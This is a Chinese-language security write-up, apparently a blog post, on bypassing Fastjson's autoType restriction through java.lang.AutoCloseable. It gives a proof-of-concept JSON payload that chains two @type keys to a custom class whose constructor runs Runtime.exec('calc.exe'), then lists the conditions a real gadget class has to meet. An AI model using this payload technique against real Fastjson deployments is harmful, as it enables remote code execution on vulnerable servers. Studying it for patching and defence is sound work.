先拋出重點:
本次是java.lang.AutoCloseable導致的exceptClass為非NULL,並且不在以下列表:
Object.class
Serializable.class
Cloneable.class
Closeable.class
EventListener.class
Iterable.class
Collection.class
可以看1.2.69版本的補丁,可以看到exceptClass原本對這三個類比較的代碼變成了比較hash,說明作者不想我們猜出比較的類是什么.
目前我根據代碼追蹤,需要繞過autoType的類需要有以下其中一個特征:
1、acceptHashCodes不在黑名單里的類(這個是必須要的條件)
2、INTERNAL_WHITELIST_HASHCODES 在白名單里的類
3、TypeUtils.mappings字典里有這個類
4、autotypeFlag為true(這個是廢話)
5、jsontypeFlag為true
6、exceptClassFlag為true
測試代碼如下:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args)
{
String payload21 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.p.Test1\",\"cmd\":\"calc.exe\"}";
JSON.parse(payload21);
}
}
自己寫一個Test1的惡意類
package com.p;
import java.io.IOException;
public class Test1 implements AutoCloseable{
public Test1(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
運行
惡意類觸發了。
demo就是這樣子,現在我們來找這樣子的惡意類。因為惡意類的范圍很多,所以我給下限定條件,其他的需要自己去找這個惡意類。
限定條件:
1、惡意類必須不在黑名單里
2、惡意類繼承AutoCloseable,因為AutoCloseable是接口類,所以惡意類可以是實現了這個接口的子類。
3、惡意類不能是抽象類
4、惡意類有構造函數,且構造函數里能觸發惡意操作